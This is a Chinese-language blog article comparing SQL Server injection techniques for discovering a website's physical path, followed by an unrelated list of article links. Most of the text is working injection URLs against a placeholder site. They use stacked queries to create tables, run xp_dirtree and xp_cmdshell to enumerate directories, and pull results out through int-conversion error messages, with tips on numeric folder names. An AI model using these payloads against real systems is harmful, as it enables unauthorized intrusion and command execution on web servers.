SQL Server取得网站路径的几种方法及比较
作者:安娜 发布时间:2008-12-09 14:15:00
如果网站只开了80端口,你会发现下面的方法是比较有用的,其中用的方法几乎都不是我发现的,文总包括一些注入时的个人经验和技巧方法可以说有4种(现在已知的)
第一种方法:
这个是<<怪异的SQL注入>>中介绍的方法
利用sqlserver的xp_dirtree,好的我们先来将一下方法,然后再说其优劣处(在原文的基础上作了点补充)
建立表
语句:http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000))--
返回:正常的信息!说明建表成功!继续!
(建的比原文的大一点,因为我遇过名子很长的文件,删除了那个id,因为没有什么用
语句:http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree ’c:\’ --
返回:正常信息。说明写入C盘的所有目录成功了!爽!接下来就是取表了!暴它出来。(好像只有暴这种方法了)
语句:http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-
返回:Microsoft OLE DB Provider for SQL Server 错误 80040e07
将 varchar 值 ’@Inetpub’转换为数据类型为 int 的列时发生语法错误。
再依次爆出表中的目录名称!
语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from
dirs where paths not in( ’@Inetpub’))--
返回:Microsoft OLE DB Provider for SQL Server 错误 80040e07
将 varchar 值 ’test’转换为数据类型为 int 的列时发生语法错误。
再依次爆出表中的目录名称!
好我们继续
语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from
dirs where paths not in( ’@Inetpub’,’test’))--
返回:Microsoft OLE DB Provider for SQL Server 错误 80040e07
将 varchar 值 ’haha’转换为数据类型为 int 的列时发生语法错误。
再依次爆出表中的目录名称!
好了,你应该知道怎么做了吧,哈哈,就是把得到的表名添到那个括号里,有多少就放多少吧,
一点技巧:
有时候你会发现当输入类似
http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-
时不是显示出错,而是网页显示正常
晕了吧,别紧张哈
看看0<>(select top 1 paths from dirs) 说明返回是一个数字,
哈哈,测试一下看看是多少吧
100>(select top 1 paths from dirs)
返回正常
哈哈,用这种大于小于的我们继续
比如当出现
59=(select top 1 paths from dirs)
返回正常,
ok,说明名字是59
输入如下
http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from
dirs where paths not in( ’59’))--
记得带上引号哟
下面的方法就和原来的一样的了
还有一个问题就是
有时候用上面的方法输入59时,发现下一次的文件夹还是59
这个是怎么回事情呢?
呵呵,不知道你有没有注意过059和59是一样的?
就是这个原因了,哈哈,
http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from
dirs where paths not in( ’059’))--
发现显示下一个文件夹名字了,ok
优缺点分析:
优点就是所有的sqlserver用户都可以使用,因为xp_dirtree适用权限PUBLIC,
缺点是显示的是目录下的所有文件夹的名字,而且排列好像是没有什么顺序的,总之在好几千好几万个文件夹里找你想要的文件夹是痛苦的.
而且你知道了有那个文件夹也不能保证在根目录下,实在是痛苦的一件事情呀,很多时候是靠运气和耐力.
方法二:
利用xp_cmdshell
哈哈,这个大家一定很熟悉了吧,我就简单说一下
建立表
语句:http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000))--
返回:正常的信息!说明建表成功!继续!
(建的比原文的大一点,因为我遇过名子很长的文件,删除了那个id,因为没有什么用
语句:http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_cmdshell ’dir c:\ /B/D’ --
返回:正常信息。说明写入C盘的所有目录成功了!这里用了dir c:\ /B/D,哈哈,不知道/B/D什么作用就试验试验看
语句:http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-
返回:Microsoft OLE DB Provider for SQL Server 错误 80040e07
将 varchar 值 ’@Inetpub’转换为数据类型为 int 的列时发生语法错误。
再依次爆出表中的目录名称!
语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from
dirs where paths not in( ’@Inetpub’))--
返回:Microsoft OLE DB Provider for SQL Server 错误 80040e07
将 varchar 值 ’test’转换为数据类型为 int 的列时发生语法错误。
再依次爆出表中的目录名称!
方法同上,就不说了
有时候我们也可以用下面的两个扩展来干些事情
猜你喜欢
- 识别MNIST已经成了深度学习的hello world,所以每次例程基本都会用到这个数据集,这个数据集在tensorflow内部用着很好的封
- 目录提问:回答:真实情况:知识点结论:总结提问:mysql的字段,unsigned int(3), 和unsinged int(6), 能存
- 像这种不能创建一个.frm 文件的报错好像暗示着操作系统的文件的权限错误或者其它原因,但实际上,这些都不是的,事实上,这个mysql报错已经
- 该组件基于技术栈,主要涉及vue-cli生成的webpack项目脚手架,在此脚手架项目基础上完成的,整合了element-ui开源vue的U
- 本文实例讲述了Go语言服务器开发之客户端向服务器发送数据并接收返回数据的方法。分享给大家供大家参考。具体实现方法如下:package mys
- <% class menusPublic Title, ID, Image, TitleColor, Target, Backgrou
- 一.values()1.values()结果是什么?官方文档说明:https://docs.djangoproject.com/en/2.1
- UTC与DSTUTC可以视为一个世界统一的时间,以原子时为基础,其他时区的时间都是在这个基础上增加或减少的,比如中国的时区就为UTC+8。D
- 目录1、设定答题卡模板2、读取答题卡图像并对图像进行灰度化处理3、高斯模糊图像去噪点4、使用大津法二值分割图像5、使用开运算去噪点6、使用c
- 背景随着业务的发展,公司业务和规模不断扩大,网站积累了大量的用户信息和数据,对于一家互联网公司来说,用户和业务数据是根基。一旦公司的数据错乱
- center()方法返回集中在长度宽度的字符串。填充是通过使用specifiedfillchar。默认填充字符是一个空格。语法以
- strip_tags定义和用法strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签。注释:该函数始终会剥离
- rs.open sql,conn:如果sql是delete,update,insert则会返
- 什么是pyc文件pyc是一种二进制文件,是由py文件经过编译后,生成的文件,是一种byte code,py文件变成pyc文件后,加载的速度有
- 一.怎样删除一个表中某个字段重复的列呀,举个例子 表[table1] id name 1 &nb
- #测试网址: http://localhost/blog/testurl.php?id=5 //获取域名或主机地址 echo $_SERVE
- 最近做的一个项目刚好用到微信js-sdk的图片上传接口,在这里做一下总结。在这里能知道使用js api的基本配置https://mp.wei
- 在Spring boot开发中,需要在application.yml文件里配置数据库的连接信息,或者在启动时传入数据库密码,如果不加密,传明
- 自己写的方法,适用于linux,#!/usr/bin/python#coding=utf-8import sysimport os, os.
- CSS3草案中定义了{opacity:来声明元素的透明度,这已经得到了大多数现代浏览器的支持,而IE则很早通过特定的私有属性filter来实